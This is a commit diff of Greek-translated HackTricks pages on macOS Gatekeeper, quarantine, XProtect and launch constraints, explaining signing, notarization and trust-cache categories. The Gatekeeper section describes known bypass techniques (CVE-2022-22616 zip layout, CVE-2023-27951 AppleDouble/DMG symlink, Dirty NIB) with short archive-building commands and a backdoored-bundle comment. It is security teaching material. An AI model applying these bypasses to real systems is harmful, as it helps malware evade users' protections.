Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:47:42 +00:00
parent 0e2f4148ea
commit eda31cfa7d
20 changed files with 752 additions and 541 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -20,27 +23,27 @@
**Gatekeeper** είναι μια λειτουργία ασφαλείας που έχει αναπτυχθεί για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να διασφαλίσει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί **επικυρώνοντας το λογισμικό** που κατεβάζει ο χρήστης και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
Ο βασικός μηχανισμός του Gatekeeper έγκειται στη διαδικασία **επικύρωσης** του. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από έναν αναγνωρισμένο προγραμματιστή**, διασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, διαπιστώνει αν το λογισμικό είναι **νοταρισμένο από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει παραποιηθεί μετά τη νοταρίσματος.
Ο βασικός μηχανισμός του Gatekeeper έγκειται στη διαδικασία **επικύρωσης** του. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από έναν αναγνωρισμένο προγραμματιστή**, διασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, διαπιστώνει αν το λογισμικό είναι **notarised από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει παραποιηθεί μετά την notarisation.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη **ζητώντας από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτή η προστασία βοηθά στην αποφυγή της εκτέλεσης δυνητικά επιβλαβούς εκτελέσιμου κώδικα που μπορεί να έχουν μπερδέψει με ένα αβλαβές αρχείο δεδομένων.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη **ζητώντας από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτή η προστασία βοηθά στην αποφυγή της εκτέλεσης κακόβουλου εκτελέσιμου κώδικα που μπορεί να έχει μπερδευτεί με ένα αθώο αρχείο δεδομένων.
### Application Signatures
Οι υπογραφές εφαρμογών, γνωστές και ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για να **επικυρώσουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και να διασφαλίσουν ότι ο κώδικας δεν έχει παραποιηθεί από την τελευταία φορά που υπογράφηκε.
Οι υπογραφές εφαρμογών, γνωστές και ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για να **επικυρώνουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και για να διασφαλίσουν ότι ο κώδικας δεν έχει παραποιηθεί από την τελευταία φορά που υπογράφηκε.
Ακολουθεί πώς λειτουργεί:
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί σχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγραφεί στο Πρόγραμμα Προγραμματιστών της Apple. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού κατακερματισμού όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του κατακερματισμού με το ιδιωτικό κλειδί του προγραμματιστή.
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί σχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγραφεί στο Πρόγραμμα Προγραμματιστών της Apple. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, το οποίο περιέχει το αντίστοιχο δημόσιο κλειδί.
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac του χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και τον συγκρίνει με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac του χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και το συγκρίνει με το αποκρυπτογραφημένο hash. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
Οι υπογραφές εφαρμογών είναι ένα ουσιαστικό μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδώσει η Apple σε γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Οι υπογραφές εφαρμογών είναι ένα απαραίτητο μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδοθεί από την Apple σε γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Από το macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει νοταριστεί** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. Η διαδικασία νοταρίσματος ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
Από την macOS Catalina, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει notarised** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. Η διαδικασία notarization ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
#### Check Signatures
Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικού**, θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού αρχείου, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **κακόβουλο λογισμικό.**
Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικού**, θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **κακόβουλο λογισμικό.**
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -67,7 +70,7 @@ codesign -s <cert-name-keychain> toolsdemo
### Enumerating GateKeeper
Ο GateKeeper είναι τόσο, **διάφορα στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών όσο και **ένα από τα στοιχεία**.
Ο GateKeeper είναι και **διάφορα στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών και επίσης **ένα από τα στοιχεία**.
Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
```bash
@ -178,7 +181,7 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκτεινόμενη ιδιότητα καραντίνας** με:
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκταμένη ιδιότητα καραντίνας** με:
```bash
xattr file.png
com.apple.macl
@ -204,7 +207,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
<details>
<summary>Κώδικας πηγής εφαρμογής σημαίων καραντίνας</summary>
<summary>Πηγαίος Κώδικας εφαρμογής σημαίων καραντίνας</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -319,7 +322,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
Επομένως, προηγουμένως ήταν δυνατό να εκτελέσετε μια εφαρμογή για να την αποθηκεύσετε στη μνήμη με τον Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή θα **εκτελούνταν** με τις **κακόβουλες** προσθήκες.
Ωστόσο, τώρα αυτό δεν είναι δυνατό γιατί το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα σε bundles εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατό να την εκμεταλλευτείτε γιατί μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη με τον Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε για παράδειγμα το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό της εφαρμογής για να το αποθηκεύσετε στη μνήμη με τον Gatekeeper, θα προκαλέσει σφάλμα και δεν θα εκτελεστεί.
Ωστόσο, τώρα αυτό δεν είναι δυνατό γιατί το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα σε bundles εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατό να την εκμεταλλευτείτε γιατί μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη με τον Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε για παράδειγμα το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό της εφαρμογής για να το αποθηκεύσετε στη μνήμη με τον Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
## Παράκαμψη του Gatekeeper
@ -343,7 +346,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Σε αυτή την παράκαμψη δημιουργήθηκε ένα zip αρχείο με μια εφαρμογή που ξεκινούσε να συμπιέζεται από το `application.app/Contents` αντί από το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ήταν αυτό που έλεγχε ο Gatekeeper, έτσι ο Gatekeeper παρακάμφθηκε γιατί όταν ενεργοποιήθηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
Σε αυτή την παράκαμψη δημιουργήθηκε ένα zip αρχείο με μια εφαρμογή που ξεκινά να συμπιέζεται από το `application.app/Contents` αντί από το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ήταν αυτό που έλεγχε ο Gatekeeper, έτσι ο Gatekeeper παρακάμφθηκε γιατί όταν ενεργοποιήθηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
```bash
zip -r test.app/Contents test.zip
```
@ -394,7 +397,7 @@ aa archive -d app -o test.aar
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών αρχείων **σε μηχανές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**.
Τα φορμά αρχείων AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών αρχείων **σε μηχανές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**.
{% code overflow="wrap" %}
```bash
@ -408,7 +411,7 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Η δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει οριστεί το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακαμφθεί ο Gatekeeper.** Το κόλπο ήταν να **δημιουργηθεί μια εφαρμογή αρχείου DMG** χρησιμοποιώντας τη σύμβαση ονοματοδοσίας AppleDouble (να ξεκινά με `._`) και να δημιουργηθεί ένα **ορατό αρχείο ως συμβολικός σύνδεσμος σε αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
Η δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει οριστεί το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακαμφθεί ο Gatekeeper.** Το κόλπο ήταν να **δημιουργηθεί μια εφαρμογή DMG** χρησιμοποιώντας τη σύμβαση ονοματοδοσίας AppleDouble (να ξεκινά με `._`) και να δημιουργηθεί ένα **ορατό αρχείο ως συμβολικός σύνδεσμος σε αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
Όταν **εκτελείται το αρχείο dmg**, καθώς δεν έχει χαρακτηριστικό καραντίνας, θα **παρακαμφθεί ο Gatekeeper.**
```bash
# Create an app bundle with the backdoor an call it app.app

View file

@ -1,60 +1,85 @@
# Περιορισμοί Εκκίνησης/Περιβάλλοντος στο macOS & Προσωπική Μνήμη Εμπιστοσύνης
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Οι περιορισμοί εκκίνησης στο macOS εισήχθηκαν για να ενισχύσουν την ασφάλεια, ρυθμίζοντας τον τρόπο, τον χρήστη και την προέλευση από την οποία μπορεί να ξεκινήσει ένα διεργασία. Εισήχθηκαν στο macOS Ventura και παρέχουν ένα πλαίσιο που κατηγοριοποιεί κάθε δυαδικό σύστημα σε διακριτές κατηγορίες περιορισμών, οι οποίες καθορίζονται μέσα στην προσωπική μνήμη εμπιστοσύνης, μια λίστα που περιέχει δυαδικά συστήματα και τις αντίστοιχες κατακερματισμένες τους τιμές. Αυτοί οι περιορισμοί επεκτείνονται σε κάθε εκτελέσιμο δυαδικό αρχείο εντός του συστήματος, περιλαμβάνοντας ένα σύνολο κανόνων που καθορίζουν τις απαιτήσεις για την εκκίνηση ενός συγκεκριμένου δυαδικού αρχείου. Οι κανόνες περιλαμβάνουν περιορισμούς που πρέπει να ικανοποιεί ένα δυαδικό αρχείο, περιορισμούς γονικής διεργασίας που πρέπει να πληροί η γονική διεργασία του, και περιορισμούς ευθύνης που πρέπει να τηρούνται από άλλες σχετικές οντότητες.
Οι περιορισμοί εκκίνησης στο macOS εισήχθησαν για να ενισχύσουν την ασφάλεια **ρυθμίζοντας πώς, ποιος και από πού μπορεί να ξεκινήσει μια διαδικασία**. Εισήχθησαν στο macOS Ventura, παρέχοντας ένα πλαίσιο που κατηγοριοποιεί **κάθε δυαδικό σύστημα σε διακριτές κατηγορίες περιορισμών**, οι οποίες ορίζονται μέσα στην **cache εμπιστοσύνης**, μια λίστα που περιέχει τα δυαδικά συστήματα και τους αντίστοιχους κατακερματισμούς τους. Αυτοί οι περιορισμοί επεκτείνονται σε κάθε εκτελέσιμο δυαδικό αρχείο μέσα στο σύστημα, περιλαμβάνοντας ένα σύνολο **κανόνων** που καθορίζουν τις απαιτήσεις για **την εκκίνηση ενός συγκεκριμένου δυαδικού αρχείου**. Οι κανόνες περιλαμβάνουν αυτοπεριορισμούς που πρέπει να ικανοποιεί ένα δυαδικό αρχείο, περιορισμούς γονέα που απαιτείται να πληρούνται από τη γονική διαδικασία του, και υπεύθυνους περιορισμούς που πρέπει να τηρούνται από άλλες σχετικές οντότητες.
Ο μηχανισμός επεκτείνεται σε εφαρμογές τρίτων μερών μέσω των **περιορισμών περιβάλλοντος**, που ξεκινούν από το macOS Sonoma, επιτρέποντας στους προγραμματιστές να προστατεύουν τις εφαρμογές τους καθορίζοντας ένα σύνολο κλειδιών και τιμών για τους περιορισμούς περιβάλλοντος.
Ο μηχανισμός επεκτείνεται σε εφαρμογές τρίτων μέσω των **Περιορισμών Περιβάλλοντος**, ξεκινώντας από το macOS Sonoma, επιτρέποντας στους προγραμματιστές να προστατεύουν τις εφαρμογές τους καθορίζοντας ένα **σύνολο κλειδιών και τιμών για περιορισμούς περιβάλλοντος.**
Ορίζετε τους περιορισμούς **εκκίνησης περιβάλλοντος και βιβλιοθηκών** σε λεξικά περιορισμών που είτε αποθηκεύετε σε αρχεία **`launchd` property list**, είτε σε ξεχωριστά αρχεία **property list** που χρησιμοποιείτε στον υπογραφή κώδικα.
Ορίζετε **περιορισμούς περιβάλλοντος εκκίνησης και βιβλιοθήκης** σε λεξικά περιορισμών που είτε αποθηκεύετε σε **αρχεία λίστας ιδιοτήτων `launchd`**, είτε σε **ξεχωριστά αρχεία λίστας ιδιοτήτων** που χρησιμοποιείτε στην υπογραφή κώδικα.
Υπάρχουν 4 τύποι περιορισμών:
* **Περιορισμοί Εαυτού**: Περιορισμοί που εφαρμόζονται στο **τρέχον** δυαδικό αρχείο.
* **Περιορισμοί Γονικής Διεργασίας**: Περιορισμοί που εφαρμόζονται στη **γονική διεργασία** (για παράδειγμα η **`launchd`** που εκτελεί ένα υπηρεσία XP)
* **Περιορισμοί Ευθύνης**: Περιορισμοί που εφαρμόζονται στη **διεργασία που καλεί την υπηρεσία** σε μια επικοινωνία XPC
* **Περιορισμοί Φόρτωσης Βιβλιοθήκης**: Χρησιμοποιήστε περιορισμούς φόρτωσης βιβλιοθήκης για να περιγράψετε εκλεκτικά κώδικα που μπορεί να φορτωθεί
* **Αυτοπεριορισμοί**: Περιορισμοί που εφαρμόζονται στο **τρέχον** δυαδικό αρχείο.
* **Γονική Διαδικασία**: Περιορισμοί που εφαρμόζονται στη **γονική διαδικασία** (για παράδειγμα **`launchd`** που εκτελεί μια υπηρεσία XP)
* **Υπεύθυνοι Περιορισμοί**: Περιορισμοί που εφαρμόζονται στη **διαδικασία που καλεί την υπηρεσία** σε μια επικοινωνία XPC
* **Περιορισμοί φόρτωσης βιβλιοθήκης**: Χρησιμοποιήστε περιορισμούς φόρτωσης βιβλιοθήκης για να περιγράψετε επιλεκτικά τον κώδικα που μπορεί να φορτωθεί
Έτσι, όταν μια διεργασία προσπαθεί να ξεκινήσει μια άλλη διεργασία - καλώντας τις συναρτήσεις `execve(_:_:_:)` ή `posix_spawn(_:_:_:_:_:_:)` - το λειτουργικό σύστημα ελέγχει αν το **εκτελέσιμο** αρχείο **ικανοποιεί** τον **περιορισμό του εαυτού του**. Επίσης, ελέγχει αν το **εκτελέσιμο** αρχείο της **γο
Έτσι, όταν μια διαδικασία προσπαθεί να εκκινήσει μια άλλη διαδικασία — καλώντας `execve(_:_:_:)` ή `posix_spawn(_:_:_:_:_:_:)` — το λειτουργικό σύστημα ελέγχει ότι το **εκτελέσιμο** αρχείο **ικανοποιεί** τον **δικό του αυτοπεριορισμό**. Ελέγχει επίσης ότι το **εκτελέσιμο** της **γονικής** **διαδικασίας** **ικανοποιεί** τον **περιορισμό γονέα** του εκτελέσιμου, και ότι το **εκτελέσιμο** της **υπεύθυνης** **διαδικασίας** **ικανοποιεί** τον περιορισμό της υπεύθυνης διαδικασίας του εκτελέσιμου. Εάν κανένας από αυτούς τους περιορισμούς εκκίνησης δεν ικανοποιείται, το λειτουργικό σύστημα δεν εκτελεί το πρόγραμμα.
Εάν κατά τη φόρτωση μιας βιβλιοθήκης οποιοδήποτε μέρος του **περιορισμού βιβλιοθήκης δεν είναι αληθές**, η διαδικασία σας **δεν φορτώνει** τη βιβλιοθήκη.
## LC Categories
Ένα LC αποτελείται από **γεγονότα** και **λογικές λειτουργίες** (και, ή..) που συνδυάζουν γεγονότα.
Τα [**γεγονότα που μπορεί να χρησιμοποιήσει ένα LC είναι τεκμηριωμένα**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Για παράδειγμα:
* is-init-proc: Μια Boolean τιμή που υποδεικνύει εάν το εκτελέσιμο πρέπει να είναι η διαδικασία αρχικοποίησης του λειτουργικού συστήματος (`launchd`).
* is-sip-protected: Μια Boolean τιμή που υποδεικνύει εάν το εκτελέσιμο πρέπει να είναι ένα αρχείο που προστατεύεται από την Προστασία Ακεραιότητας Συστήματος (SIP).
* `on-authorized-authapfs-volume:` Μια Boolean τιμή που υποδεικνύει εάν το λειτουργικό σύστημα φόρτωσε το εκτελέσιμο από έναν εξουσιοδοτημένο, αυθεντικοποιημένο όγκο APFS.
* `on-authorized-authapfs-volume`: Μια Boolean τιμή που υποδεικνύει εάν το λειτουργικό σύστημα φόρτωσε το εκτελέσιμο από έναν εξουσιοδοτημένο, αυθεντικοποιημένο όγκο APFS.
* Cryptexes volume
* `on-system-volume:` Μια Boolean τιμή που υποδεικνύει εάν το λειτουργικό σύστημα φόρτωσε το εκτελέσιμο από τον τρέχοντα εκκινούμενο όγκο συστήματος.
* Inside /System...
* ...
Όταν ένα δυαδικό αρχείο της Apple υπογράφεται, **του ανατίθεται μια κατηγορία LC** μέσα στην **cache εμπιστοσύνης**.
* Οι **κατηγορίες LC iOS 16** έχουν [**αντιστραφεί και τεκμηριωθεί εδώ**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Οι τρέχουσες **κατηγορίες LC (macOS 14** - Somona) έχουν αντιστραφεί και οι [**περιγραφές τους μπορούν να βρεθούν εδώ**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Για παράδειγμα, η Κατηγορία 1 είναι:
```
Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: Πρέπει να βρίσκεται στον τόμο System ή Cryptexes.
* `launch-type == 1`: Πρέπει να είναι ένα σύστημα υπηρεσίας (plist στο LaunchDaemons).
* `validation-category == 1`: Ένα εκτελέσιμο αρχείο του λειτουργικού συστήματος.
* `(on-authorized-authapfs-volume || on-system-volume)`: Πρέπει να είναι σε System ή Cryptexes volume.
* `launch-type == 1`: Πρέπει να είναι μια υπηρεσία συστήματος (plist σε LaunchDaemons).
* `validation-category == 1`: Ένα εκτελέσιμο λειτουργικού συστήματος.
* `is-init-proc`: Launchd
### Αντιστροφή των κατηγοριών LC
